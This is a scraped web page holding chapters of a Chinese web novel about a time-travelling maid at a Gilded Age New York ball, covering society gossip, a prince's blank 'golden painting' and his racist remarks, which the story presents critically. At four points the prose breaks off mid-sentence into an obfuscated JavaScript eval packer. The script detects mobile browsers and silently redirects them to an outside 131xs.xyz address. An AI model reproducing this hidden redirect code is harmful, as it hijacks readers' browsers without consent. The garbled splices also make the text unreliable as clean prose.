“舒适自在？”玛蒂尔达几乎要冷笑出来，“这是舞会，不是你的慈善义卖现场！戴上母亲留下的那套绿宝石首饰，至少让人看看我们布鲁克家不是只有钱，还有传承！”她语气尖利，带着一种恨铁不成钢的恼怒，仿佛妹妹的“不求上进”直接损害了她的颜面。 不等伊迪丝反驳，玛蒂尔达已不耐烦地转身：“随便你吧！但别怪没人请你跳舞！”她砰地带上门，留下伊迪丝对着镜中素雅的自己，轻轻叹了口气，眼中掠过一丝无奈与哀伤。 最后，玛蒂尔达来到了埃莉诺的房间。埃莉诺正坐在梳妆台前，一位女仆小心翼翼地梳理着她浓密的金色长发。镜中的少女面容姣好，却带着一丝惴惴不安。 “还没弄好头发？”玛蒂尔达一进来就直接走到梳妆台前，语气不满，“盘起来，全部盘起来！露出脖颈和肩膀，才显得优雅。留那么多头发垂下来，像个没开窍的小女孩。” 梳头女仆的手吓得不知道该往哪里放。埃莉诺小声争辩：“姑妈，我觉得放下一些头发更好看，也能遮一下……” “遮什么？”玛蒂尔达打断她，亲自拿起梳子，力道有些重地将埃莉诺的头发向后扯，露出她光洁的额头和明亮的眼睛，“布鲁克家的女孩儿不需要遮遮掩掩。你要敢于展示自己，不要像乡下姑娘般羞涩！”她亲自指挥着女仆，将埃莉诺的头发紧紧束起，盘成当时流行的复杂发髻，每一根发丝都被牢牢固定，扯得埃莉诺头皮发紧。 梳好头发，更艰巨的任务来了——束腰。埃莉诺已经穿上了衬裙，玛蒂尔达拿起那件可怕的束腰，命令道：“吸气！” “姑妈……太紧了……肋骨都快断了……”埃莉诺忍不住哀求，手指紧紧抓住梳妆台的边缘。 伊迪丝小姐闻声而来，在一旁看得不忍，轻声说：“玛蒂尔达，或许可以稍微松一点，孩子看起来不太舒服……” “不舒服？”玛蒂尔达夫人手下不停，语气不容置疑，“阿斯特夫人可不会因为‘不舒服’就允许她的女儿穿着宽松。范德比尔特家那个暴发户，更是恨不得把每一分钱都穿在身上炫耀。我们布鲁克家绝不能失了体面。忍耐是美德，埃莉诺。” 最终，束腰被勒到了极限。埃莉诺只能小口地呼吸，每一下都伴随着肋骨的刺痛。女仆为她套上衬裙，然后是那件精美的浅绿色纱裙。裙子的腰身被设计得极细，完美契合了被束缚出的曲线。 玛蒂尔达退后两步，审视着镜中面色潮红的埃莉诺，终于露出一丝满意的神色：“嗯，这才像点样子。记住，微笑，时刻保持微笑。那些男士会为你迷倒的。” 她说完，像完成了一件重要作品，转身离开了房间。门关上后，埃莉诺终于支撑不住，瘫倒在床上。伊迪丝小姐赶忙上前，不忍地看着，也只能给予几句安慰。 “埃莉诺，你和我不一样，这个舞会对你很重要。忍一忍，今天过去，明天就好了。” “我知道，姑妈。可能舞会对玛蒂尔达姑妈更重要！”两人先是停顿一刻，竟突然笑出了声。 / 在另一个房间里，米芙·弗里曼也已经准备就绪。 她不需要束腰，也不必穿戴那些繁复的裙撑。 作为一个黑人秘书，她的着装得体低调就好。她穿着一身深蓝色的简洁长裙，头发一丝不苟地挽成低髻。她仔细检查着今晚可能需要用到的记事本和笔，将它们放在一个小巧的手袋里。 她的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417895|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 准备安静而高效，她清楚知道自己的角色——一个得体的秘书，如果有需要，可能会是玛蒂尔达夫人展示“开明”的工具。 显而易见，她也不需要跳舞。 毕竟哪位绅士会邀请她呢。尤其当绅士都是白人的时候。 / 六点，餐食和点心已经先摆开了。 玛莎手里托着一盘香槟杯，眼睛却不受控制地瞟向右手边的窗户，那里可以看到外面的部分景象。 梅布尔太太尖锐的嗓音还在耳边嗡嗡响，命令她们“管好眼睛和耳朵”，但窗外传来的清脆马蹄声，像钩子一样挠着她的心。 趁着一批仆从刚摆下食物、暂时没人注意的空档，玛莎飞快地闪到窗边，撩起厚重的窗帘一角，屏息向外望去。 “我的老天……”她几乎无声地吸了口气。 首先映入眼帘的是阿斯特家的马车。它并不像想象中那样镶金嵌银，反而是深沉厚重的墨绿色，样式古典庄重，像一位沉默而威严的老绅士。拉车的两匹马毛色油亮乌黑，步伐整齐划一。车夫穿着笔挺的深色制服，表情肃穆，仿佛不是在赶车，而是在执行一项神圣的仪式。 车门打开，先下来的是一位男仆，他迅速放好脚蹬，然后躬身肃立。卡罗琳·阿斯特夫人这才扶着丈夫的手，仪态万方地走下马车。她那种扑面而来的、不容置疑的尊贵气息，让玛莎下意识地缩了缩脖子。阿斯特夫人甚至没有左右张望，只是微微抬着下巴，目光平静地走向大门，仿佛回自己家一样自然。 “这才是真正的派头……”玛莎心里嘀咕，有点自得于能欣赏这种“老钱”的做派，仿佛这让她也显得更有见识了些。 没过多久，一阵更喧闹的声响吸引了她的注意。范德比尔特家的车队来了！打头的是一辆鎏金装饰、亮得晃眼的四轮马车，由四匹雪白无瑕、鬃毛梳理得一丝不苟的高头大马牵引，马头上还装饰着白色的羽毛。车夫和随行仆从的制服是鲜艳的蓝金色，崭新笔挺，在夕阳下闪闪发光。马车刚一停稳，范德比尔特夫人就几乎是迫不及待地探出身来。她声音响亮地和迎上来的施耐德先生打招呼，目光扫过宅邸外墙，带着一种毫不掩饰的、想要品评和比较的意味。 “真够招摇的……”玛莎撇撇嘴，心里涌起一股复杂的情绪，既羡慕那明晃晃的财富，又有点瞧不上这种暴发户式的行为，“我们布鲁克家可是更有格调的。” 就在她暗自评价时，一个不协调的身影闯入了这华贵的画面。是那个木材商人汤姆·瑞克斯！他不是早早就到了吗，怎么又在外面晃荡？他穿着一件显然是新做的燕尾服，绷在他发福的身上，勒得紧紧的，活像一只试图把自己塞进细颈花瓶的肥鹅。他脸上堆着过分热切的笑容，眼睛滴溜溜地转，拼命想往范德比尔特先生那边凑，似乎想搭话，却被范德比尔特家的仆人礼貌而坚定地隔开了。 “噗……”玛莎差点笑出声，赶紧捂住嘴，眼里满是鄙夷，“瞧瞧他那样子，真以为挤进这地方就是上等人了？” 15. 开场 傍晚七点半，大宴会厅灯火通明。 现在的纽约，宴会已经不流行传统冗长的俄式大餐上餐法，而是时兴更显时髦的“法式精致自助餐”。 堆成小山的生蚝旁放着柠檬片和红酒醋汁；整只的波士顿龙虾煮熟后呈现出鲜红色；来自法国的鹅肝酱被切成厚片，摆放在小巧的烤面包片上；各种腌制的肉类和香肠组成拼盘；色彩丰富的蔬菜沙拉和热气腾腾的奶油焗菜点缀其间； 甜点区更是壮观，堆叠的蛋糕、晶莹的果冻、撒着糖霜的酥皮点心，宛如甜蜜的城堡。 穿着制服的男仆们站在餐台后，负责为客人取用食物，确保一切井然有序。 客人们端着盘子，轻声交谈，优雅地选取着自己喜欢的食物。银质餐具与瓷盘偶尔碰撞发出清脆声响。 安妮和其他女仆们负责流动服务，及时收走客人用过的杯碟，补充干净的餐具。她低垂着眼，动作麻利，但总能敏锐地捕捉到周围的谈话碎片。 / “要我说，阿斯特家的奥地利乐队，每年都是那几支华尔兹，听得人耳朵都快起茧子了。”一位戴着夸张鸵鸟毛头饰的夫人用扇子半掩着嘴，那扇子柄还是象牙做的哩，声音不高不低，刚好能让周围一小圈夫人们听清。 玛蒂尔达·布鲁克夫人优雅地端起一杯红茶，嘴角噙着一丝了然的笑意：“传统总是令人安心，亲爱的。毕竟，不是所有新花样都经得起时间的考验。”她意有所指地轻轻瞥了一眼舞池另一端，那里，范德比尔特夫人正被一群仰慕者簇拥着，笑声格外响亮。 另一位夫人立刻接话，仿佛早已排练好：“哦，说到新花样，范德比尔特夫人上周那场舞会，听说光是温室的兰花就运来了整整三马车！舞池里喷泉真的喷出香槟了？真是……豪奢无比。”她语气里的惊叹恰到好处地包裹着一层薄薄的讥讽。 “钱能买来场面，但买不来格调，不是吗？”最先开口的鸵鸟毛夫人轻哼一声，“有些东西，是骨子里带来的。” 夫人们发出一阵心照不宣的、压低了的笑声。她们这一波，围坐在舞池旁的丝绒座椅上，像一群羽毛华丽、眼神锐利的鸡，用最优雅的语调，对舞会里的人，进行着最残酷的品评。她们谈论着最近舞会上风头正劲的阿拉伯使团王子，猜测着他的财富，语气里充满了对东方异域风情既好奇又轻蔑的复杂想象。 安妮端着一盘几乎没动过的松露小饼，悄无声息地穿梭其间，随时准备为哪位夫人添茶或更换餐盘。她低眉顺眼，耳朵却将每一句暗藏机锋的对话都捕捉下来。 太！精！彩！了！这可比以前在电视里看到的生动多了！这些夫人的嘴也比电视里演得更刻薄！这不是在拍电视剧！ 一位夫人转向玛蒂尔达，笑容甜美：“玛蒂尔达，您家的舞会总是如此温馨得体，一切都恰到好处，真是棒极了。” 玛蒂尔达微微颔首，坦然接受这虚伪的恭维：“您太客气了。我们只是希望朋友们能在一个舒适的环境里享受愉快的时光。” 然而，当安妮转了一个身，就听到那位刚恭维完的夫人压低声音对同伴说：“……循规蹈矩，谈不上什么新意，也就是布鲁克家一贯的风格，小家子气了些。” 安妮的手指抖了一下，然后微微用力托住了银盘。她继续向前，脸上没有任何表情。 / 乐队奏起悠扬的华尔兹，几对年轻男女率先滑入舞池。 晚上八点，舞会正式开始。 夫人们大多选择坐在舞池周围的丝绒座椅上，摇着扇子，继续着她们的谈话。安妮端着酒水，穿行其间。 玛蒂尔达似乎觉得需要展示一些更“进步”的话题。 她目光扫视，找到了安静站在不远处墙边、几乎与阴影融为一体的米芙·弗里曼。 她抬高声音，带着一种展示珍稀物品般的语气：“哦，说到格调，我们布鲁克家一向推崇真正的才能与品格，而非仅仅看重出身。”她向米芙招了招手，“弗里曼小姐，请过来一下。” 米芙沉稳地走上前，微微颔首：“夫人。” 她知道轮到她的戏份了，她已经做好了心理建设。 玛蒂尔达亲热地——甚至有些过于亲热地——拉住米芙的手，将她带到夫人们的视线中心：“诸位，这位是米芙·弗里曼小姐，我的私人秘书。别看她年轻，能力极为出色，精通账目文书，甚至还能说法语和德语。在我们家，可是不可或缺的帮手。” 夫人们的目光瞬间聚焦在米芙身上。那目光复杂极了，有好奇，有审视，有毫不掩饰的惊讶，还有一层薄冰般的礼貌疏离。一位黑人女性能出现在这个场合，并担任如此职位，对她们而言确实极其罕见。 “真是……令人惊讶。”鸵鸟毛夫人最先反应过来，扇子摇得快了些，“布鲁克夫人果然思想开明。” “是啊，是啊，”另一位夫人连忙附和，目光却在米芙简朴但整洁的深色裙装上飞快地扫过，“能受到这样的重用，弗里曼小姐必定非常优秀。”她的赞美干巴巴的，像是挤出来的。 “现在时代不同了，我们也该给有能力的人一些机会，不是吗？”玛蒂尔达夫人微笑着，仿佛在展示一项她主导的慈善成果，“平等和才能，才是最重要的。”她享受着这种站在道德高地上的感觉。 米芙始终微笑，眼神平静，应对得体。 夫人们又说了几句不咸不淡的场面话，很快就把话题转回到最近纽约社交圈的“西洋景”阿拉伯使团王子。 米芙悄然退回到原来的位置，再次将自己隐藏在光影交界处，仿佛刚才那场短暂的“展示”从未发生。但安妮知道，那几分钟的审视，需要巨大的心力去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417896|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 承受。 “说起那位阿拉伯王子，”摇着孔雀羽扇的夫人忽然用神秘的口吻说，引得周围几位女士都微微倾身，“听说是某个沙漠酋长国的儿子，他们那里除了沙子，剩下就是骆驼最多罢！这次是跟着什么使团来的，说是要‘参观学习’我们美国的先进文明，要在他们的海边建设像纽约这样现代的城市。”她语气里的优越感几乎要溢出来。 “可不是嘛，”另一位夫人立刻接口，用镶着珍珠的扇子掩住半张脸，眼中闪烁着猎奇的光芒，“阿斯特夫人第一场的舞会他去了，据说送了一尊纯金的、造型古怪的香炉，烟雾缭绕的，味道冲得很！还附赠了两个关在笼子里的女奴，真是……闻所未闻。”她的话语里充满了对那份“稀奇”礼物的惊叹，却也带着一丝难以掩饰的轻蔑，仿佛在谈论某种未开化的奇风异俗。 “天哪！女奴？”最先开口的夫人夸张地吸了口气，既震惊又带着某种隐秘的兴奋，“这……这成何体统！阿斯特夫人怎么处理的？” “还能怎么处理？当然是婉拒了那‘活礼物’，只收下了金香炉。不过，这故事可是传遍了。” 第三位夫人加入讨论，语气矜持却同样充满好奇，“阿斯特夫人怎么会邀请他？” 摇着孔雀羽扇的夫人习惯压低声音，好像分享什么机密，“是议员带来的。阿斯特夫人邀请了议员阁下，而王子刚好在他们那里做客，知道我们纽约的舞会季开始了，怎么说都要看看热闹。” “您知道的可真细。“第三位夫人说，”你们说，他今晚会不会来？会不会又带来什么惊人的‘东方贡品’？我倒是好奇他们那种地方的女人，是不是真的终日藏在面纱后面……” 夫人们发出一阵窸窸窣窣的笑声。 舞曲一首接一首，宴会厅里始终洋溢着欢声笑语。一支小型管弦乐队在角落的乐池里卖力演奏，小提琴与长笛的旋律交织，流淌出轻快的波尔卡和令人晕眩的华尔兹——这是当时纽约舞会上最主流、也最令人兴奋的节奏。 埃莉诺就在这片旋律的海洋中旋转，脸上挂着腼腆的微笑。在这个时代的舞会上，女孩们得由男伴邀请，或是经家人引荐才能步入舞池。流行的华尔兹舞虽然已被上流社会接受，允许男女相拥而舞，但姿态举止仍有看不见的尺子衡量着——不能贴得太近，笑容不能太放肆，旋转时裙摆扬起的弧度都要恰到好处。 她能感觉到舞伴手套下传来的、礼貌性的引导力道，耳边是对方搜肠刮肚找出的寒暄客套。但她的大部分心神，都用来对抗束腰带来的压迫感，以及确保自己的舞步不会出错。随着音乐的节拍旋转、滑步，像一个被上好发条、穿着华服的精致人偶，卷入了这片流光溢彩的漩涡。 她，还有很多人，清晰地感觉到，这华美绝伦的金色笼子里，每一片羽翼都被无形的线牢牢牵引着。 16. 小姐们，男士们 埃莉诺悄悄从那一小圈叽叽喳喳的年轻小姐身边退开。 埃莉诺起初也被那圈年轻小姐们的欢声笑语所吸引，她们像一群拥有华丽细鳞的蝴蝶，停歇在在舞池边的盆景旁。她缓步走近，脸上带着得体的微笑。 “快看莉娜收到的最新一期《戈迪女士手册》，上面的铜版画太精美了！巴黎现在的裙撑弧度好像又变了，后臀的支撑更突出了。”一位脸颊红润的小姐兴奋地比划着。 “是吗？我倒是更喜欢那期介绍的珐琅首饰，听说梅西百货新到了一批，颜色鲜亮极了，配夏天的细麻裙子正合适。”另一个女孩摇着手中的小扇子接话。 她们注意到埃莉诺，礼貌地朝她点头示意，并自动让出了一个身位。 一位穿着粉纱裙的小姐友善地问：“布鲁克小姐，您最近有添置什么新装吗？听说第五大道新开了一家裁缝店，师傅是从伦敦来的。” 埃莉诺轻声回应：“我最近很少出门。都沉浸在一本诗集中，忘了时间。”她试图分享自己真正感兴趣的东西。 小姐们愣了一下，随即礼貌地笑了笑。“诗集可不会让我沉迷……漂亮的衣服会！”粉纱裙小姐很快把话题拉回熟悉的轨道，“你们觉得是宽帽檐显得脸小，还是现在流行的这种小巧的帽兜更俏皮？我母亲总说宽帽檐更端庄……” “当然是小巧的更时髦！缀上丝带和鲜花，多可爱啊！” 埃莉诺尝试着听，偶尔点点头，但发现自己的注意力很难持续。当她们开始热烈讨论某位议员公子新买的纯血马以及下次周末去中央公园骑马的约定时，埃莉诺发现自己完全插不上话了。 她们谈论的世界明亮、轻快，充满了无忧无虑的消遣和物质的快乐，但那世界却隐隐将她排斥在外。她们并非有意冷落，只是彼此如同两条平行线，难以相交。 没有共鸣！ 又一阵关于帽饰羽毛颜色的热烈讨论开始了，埃莉诺趁着她们笑作一团的时候，微微侧身，轻声说了一句“失陪一下”，便提着裙摆，自然地、悄无声息地从那个明亮的小圈子里退了出来。 没有人特别注意她的离开，笑声依旧在她身后持续。 她默默退到舞池边沿巨大的丝绒窗帘旁，厚重的绒布隔开了部分喧嚣，她轻轻靠在冰凉的墙壁上，缓缓吁出一口气，仿佛终于找到了一个可以短暂喘息、隐藏自己的角落。 没过一会儿。一位头发抹得油亮、笑容过分殷勤的中年男士向她邀舞。她还是被发现了。 埃莉诺认出他是某个百货公司的老板，一位刚刚丧妻不久的鳏夫。 他的手心有些汗湿，跳舞时总试图将她拉得近些。埃莉诺僵硬地跟着步伐，目光越过他的肩头，盯着墙壁上的浮雕，只盼音乐快点结束。 下一支华尔兹响起时，汤姆·瑞克斯像发力的弹簧一样冲过来，几乎撞到旁人。“布鲁克小姐！请务必赏光！”他大声说着，脸上泛着红光，呼吸间带着烟草和炖肉混合的气味。 他的舞步笨拙而用力，像在搬运一件贵重家具，好几次踩到埃莉诺的裙边。他一边跳，一边喋喋不休地夸耀他新到的木材品质，仿佛在展会中兜售自己的商品。 “您要知道，上好的胡桃木，如今市面上可紧俏了……”他滔滔不绝。 埃莉诺只是嗯了一声，目光低垂，希望自己变成墙上的挂画。 她感到一种深深的疲惫。这些邀舞者——鳏夫、商人、或是眼神飘忽的纨绔子弟——他们看到的不是埃莉诺，而是一个顶着布鲁克姓氏、或许能帮助他们攀附上流社会的机会。父亲破产后，她带来的嫁妆微薄，处境尴尬，真正的老钱家族看不上，而这些急于翻身的新贵或鳏夫则视她为完美的跳板。 她像一个精致的筹码，在婚姻市场的牌桌上被打量估价。 一曲终了，她几乎是立刻抽回手，低声说：“谢谢您，瑞克斯先生，我有些累了。”然后迅速转身，避开他再次伸出的手。 就在这时，一阵轻微的骚动从门口传来。 / 一位不速之客到了——正 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417897|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是最近在纽约社交界引起诸多议论的那位阿拉伯王子。 他身材高大，穿着雪白无瑕的传统长袍，头巾上缀着宝石，在一众黑色燕尾服中显得格格不入，却又异常醒目。 宾客们窃窃私语，目光齐齐投向他。但他镇定自若。 他并未提前告知，但玛蒂尔达夫人显然不会将这位话题人物拒之门外。 这位王子近来是社交场上的热门话题，他的喜好、他的背景，甚至他可能带来的“异国礼物”都充满了不可预知性。在一场精心策划、力求完美的舞会上，这样的“意外”最是令人头疼。 然而，那丝慌乱只存在了极短的一瞬，快得几乎无人捕捉。玛蒂尔达·布鲁克毕竟是经验丰富的女主人。她迅速调整表情，带着矜持而包容的笑容迎上去。那笑容仿佛早已期待对方的到来。 “王子殿下，”她的声音温和而清晰，带着恰到好处的热情，“这真是一个令人惊喜的夜晚。欢迎您莅临布鲁克家的舞会，您的到来让我们蓬荜生辉。”她微微颔首，行了一个符合礼节的见面礼。 阿拉伯王子停下脚步，他高大的身躯在周围的人群中显得格外突出。他依照自己的礼节，右手轻触胸前，微微欠身，动作带着一种属于“东方式”的优雅和漫不经心。“布鲁克夫人，”他的英语带着浓重的异域口音，但用词却异常正式，甚至有些古老的味道，仿佛从某本旧礼宾手册中学来，“请原谅我的冒昧到访。您的宴会，名声远扬，令人无法抗拒其魅力。感谢您的慷慨与欢迎。” 他的语气听起来极为礼貌，用词也足够谦逊，但那双眼睛里却带着一种审视，仿佛在评估眼前的一切是否符合他的预期。 玛蒂尔达保持着完美的笑容：“您太客气了，殿下。请千万不要拘束，希望您能享受这个夜晚。”她侧身，做出邀请他入内的姿态。 一场突如其来的危机，至少在表面上，被她用镇定的姿态和得体的言辞化解了，她再次牢牢掌控住了场面的主动权。 但王子却拒绝入内。 17. 法老的金画 这位王子似乎另有打算。 他并未移步，反而抬了抬手，用他那带着口音的英语说道：“且慢，尊贵的夫人。不请自来已是失礼，依照我们家乡的习俗，登门必须奉上心意，方能表达对主人的敬意与祝福。” 身后一位一直沉默不语、身着长袍的随从应声上前。 随从手中捧着一个长长的、用金色丝绸包裹的物件，动作缓慢而充满仪式感，仿佛捧着什么绝世珍宝。这一幕立刻吸引了周围所有宾客的目光，嗡嗡声响起一片。 大家都好奇这位以豪富和神秘著称的王子会送出怎样的礼物。 随从极其缓慢地、一层层地揭开那厚重的丝绸，最终露出里面一个古朴的长盒。打开盒盖，里面衬着深红色的天鹅绒，上面静静地躺着一卷看起来像是用某种金色金属压制而成的“画轴”，在灯火中反射着沉甸甸的、均匀的光芒。 王子亲自用戴满宝石戒指的手指，小心翼翼地取出那卷“画轴”，双手持握，神情庄重地对玛蒂尔达夫人说：“此物非同寻常，夫人。它并非出自凡俗工匠之手，乃是我们家族珍藏的瑰宝，传说是来自古老埃及法老陵墓的启示之物，承载着沙漠与星辰的千年智慧。唯有心灵纯净、富有智慧与远见之人，方能窥见其中所描绘的、属于未来的伟大图景。” 他微微展开画轴——那似乎只是一张光洁无比的巨大金箔纸片，上面空空如也，没有任何雕刻或绘制的痕迹，只有一片平滑、炫目的金色。 “请看，”王子声音充满诱惑力，对玛蒂尔达，也是对周围所有竖着耳朵、伸长脖子的宾客们说道，“请诸位尊贵的客人也一同观赏，并告诉我，你们看到了什么？这画中之景，是什么？” 好奇心驱使下，宾客们纷纷围拢过来，伸长脖子仔细观看“金画”。 一瞬间，场面变得有些诡异。每个人看到的明明只是一片空白的金色，但在这位王子庄重的语气的暗示下，竟无人敢第一个说“什么都没看到”。 一位痴迷于东方文化的富商最先打破沉默，他眯着眼睛，装模作样地赞叹：“哦！这线条……这构图……充满了东方的神秘韵味！我看到了……尼罗河上的太阳！” 一位附庸风雅的艺术家夫人立刻接口：“是的！是的！我也看到了！是沙漠与绿洲！还有……还有法老的权杖！这一定是古埃及圣书体的某种抽象表达！太精妙了！” “看那金色的层次，”另一位夫人用扇子指着空无一物的画纸，煞有介事地低语，“分明描绘着星空与黄道十二宫！这是智慧的表达！” 赞美声此起彼伏，每个人都在争先恐后地上前，争先恐后地欣赏，争先恐后地描述着自己看到的“伟大图景”，谁也不想做那个缺乏智慧与远见的蠢货。 最终，阿拉伯王子将目光转向了礼物真正的接收者——玛蒂尔达夫人。他嘴角噙着一丝笑意，问道：“那么，尊贵的女主人，您，看到了什么？” 玛蒂尔达夫人的目光从那片空白的金箔上抬起，迎上王子探究的眼神。 她心中惊疑不定——这究竟是一场来自东方王子的戏耍，还是自己真的不够“智慧”所以看不见？她绝不能在众多宾客面前承认自己只看到一片空白，那无异于承认自己愚蠢。但她也无法像其他人那样凭空编造一个景象，古老家族女主人的身份和骄傲不允许她说谎。 电光火石间，她露出了一个极其得体的、高深莫测的微笑，声音平稳而清晰：“殿下，这份礼物太过珍贵，它所揭示的奥秘也过于深邃。我想，它所展现的‘景象’，或许是一个只可意会、不可言传的……‘秘密’。请允许我保留这份独特的感悟。” 阿拉伯王子闻言，先是微微一怔，随即发出了一阵低沉的笑声，似乎觉得这个回答很有趣。“哈哈……‘秘密’。很好的词，夫人。您果然拥有非凡的智慧。”他不再追问，似乎认可了这个答案。 玛蒂尔达夫人心下稍安，尽管仍充满怀疑，但还是保持着优雅的姿态，示意侍从接过那卷 “金画”，并看似真诚地向王子道谢：“感谢殿下慷慨的赠礼，这真是一件独一无二的珍宝，布鲁克家会好好珍藏。” 为了不失礼数，维持体面，她也立刻吩咐管家：“施耐德先生，请将我们为殿下准备的回礼取来。” 施耐德快速理解了女主人的眼神暗示，给了一个点头的确认。很快，一套精心包装的、价值不菲的纯银手工雕花茶具被呈上。 “这是一点小小的心意，来自纽约最好的银匠之手，希望能让殿下在品尝咖啡时，偶尔也能想起在布鲁克家度过的这个夜晚。” 王子看了一眼那套银器，礼貌地点点头，示意随从收下。礼物交换仪式，就在这种微妙而堂皇的气氛中完成了。 那卷描绘伟大图景的“金画”被带走，而关于它究竟画了什么的“秘密”，则成为了这个夜晚宾客们交头接耳的新话题。 很快王子就被引入了宴会厅。 乐队指挥犹豫了一下，还是指挥乐队奏起了欢迎的旋律。 / 玛蒂尔达夫人正与几位重要的女宾交谈，话题不知怎的又绕回到了她颇为自得的“开明”举措上。 “……所以我认为，给予有才能的人机会，忽视其出身，才是社会进步的体现。”玛蒂尔达微微扬起下巴，目光扫过不远处安静侍立的米芙，“就像我们家的弗里曼小姐，她的能力就远超许多……” 就在这时，那位阿拉伯王子竟径直走了过来。他似乎对这边的谈话产生了兴趣，不等客套一番，便直接插话，声音洪亮得让几位夫人微微一怔： “女士们，请原谅我的打扰。我似乎听到你们在讨论……给予黑人机会？” 玛蒂尔达夫人维持着笑容：“是的，殿下。我们相信平等和才能……” 王子挥了挥手，打断了她，脸上带着一种漫不经心的神情：“要我说，美国人还是太理想主义了。在我们那里，黑人已经做了几千年奴隶……他们生来如此，血液里就流淌着服从，根本不懂得如何做自己的主人。给他们自由和机会？哈哈，那只会让他们不知所措，甚至带来混乱。” 他的话像一块巨石，猛地砸进了虚伪而温热的社交池水中。 站在阴影里的米芙猛地抬起头，脸色瞬间变得苍白如纸。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16417898|184715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 她飞快地垂下眼睛，但挺直的背脊却难以抑制地微微颤抖起来。那几句话，像淬毒的箭，轻易地射穿了一个种族千百年的苦难和挣扎，也粗暴地践踏了她所有的努力与尊严。 而她不能发出一言。 安妮“上辈子”还没接触过土豪，这次有幸一见土豪的祖宗，还蛮感兴趣的，毕竟“头顶一块布天下我最富”是她那个时代非常流行的网络热梗。当然她也知道，19世纪的阿拉伯还是荒凉之地，石油开采还要等到半个世纪以后，普通人穷的叮当响。王子的所谓的财富大多来自时人对阿里巴巴芝麻开门童话故事的想象。 她有意无意地会捕捉着场中“白色长布”，偷偷观察对方的言行举动。只可惜刚才一众宾客都围上去看金画的时候，作为女仆如果围上去显得太扎眼，所以她只好远远地望一眼，什么也没看见。 现在，她清晰地听到这番话，“……根本不懂得如何做自己的主人……” 血液里就流淌着服从! 他们生来如此! 一股怒火毫无预兆地窜上安妮的心头，烧得她脑门发烫。她想起米芙的沉稳与智慧！ 不能就这样算了。 (本章完) / 附： 安妮偷看到的梅布尔夫人手上拿着的手写 舞会时间表 18:30-19:30迎宾 地点：前厅/露台 内容：1）门童通报2）主人迎接3）提供饮品与小食（让那几个Y头手脚麻利点，别偷嘴） 19:30-21:00自助餐 地点：在大宴会厅，舞池周围排放（一定要催促汤姆，一定要催促他！） 20:00-23:00核心舞会 + 主题环节 开场舞：由 “举办方家族的年轻子女”跳 “华尔兹”，开场舞结束后，其他宾客方可邀请舞伴（埃莉诺小姐拒绝了开场舞，说没准备好。夫人也没有勉强。或许真实原因，没有找到合适的GM。原文就是缩写，不知道梅布尔夫人什么意思。）； 舞蹈类型：以 “华尔兹”“波尔卡”“马祖卡” 为主；（完成，已经和乐队沟通好） 休息环节：每跳 3 支舞休息 15 分钟，侍者端送热饮（如可可、咖啡）和甜点（如巧克力慕斯）； 谢幕：以集体舞收尾。(夫人今年不想再做“主人致辞”谢幕了，说没新意。) 21:00-23:30余兴社交 地点：书房或客厅 私密谈话：舞会只是 “铺垫”，真正的资源交换在此阶段（人员已经划定，名单在施耐德先生手上） 休闲活动：安排 “桥牌”“钢琴演奏” 等 “高雅活动”（伊迪丝小姐已经答应弹奏钢琴） 22:00以后送客 主人需在门口向重要宾客送别，赠送 “伴手礼”（A夫人送定制香水、E夫人送手工巧克力……礼物已分类摆放，放置位置已经告诉夫人和施耐德先生。） ！！不要出幺蛾子！ (/≧▽≦)/ 原表就有个这样的符号 18. 来跳兔子舞 安妮盯着那身雪白的袍子，心里的小人已经抄起了红酒瓶。 但理智一把按住她——泼了痛快，工作可就没了！ 「得用聪明法子。」她眼睛一弯，计上心来。 她端起杯深色葡萄汁，溜达到王子附近。趁众人高谈阔论，她飞快地从果盘捞起半个柠檬，手指用力一捏—— 「嗤！」一股柠檬汁精准射进杯中，和葡萄汁融得天衣无缝。 她挂起无辜笑脸，小心凑近：「尊贵的殿下，需要喝点东西吗？」 王子正说到兴头，瞥了眼那杯深色液体，嫌弃地摆摆手。 安妮立刻低头，肩膀垮下，「算你走运」。第一步，失败！ 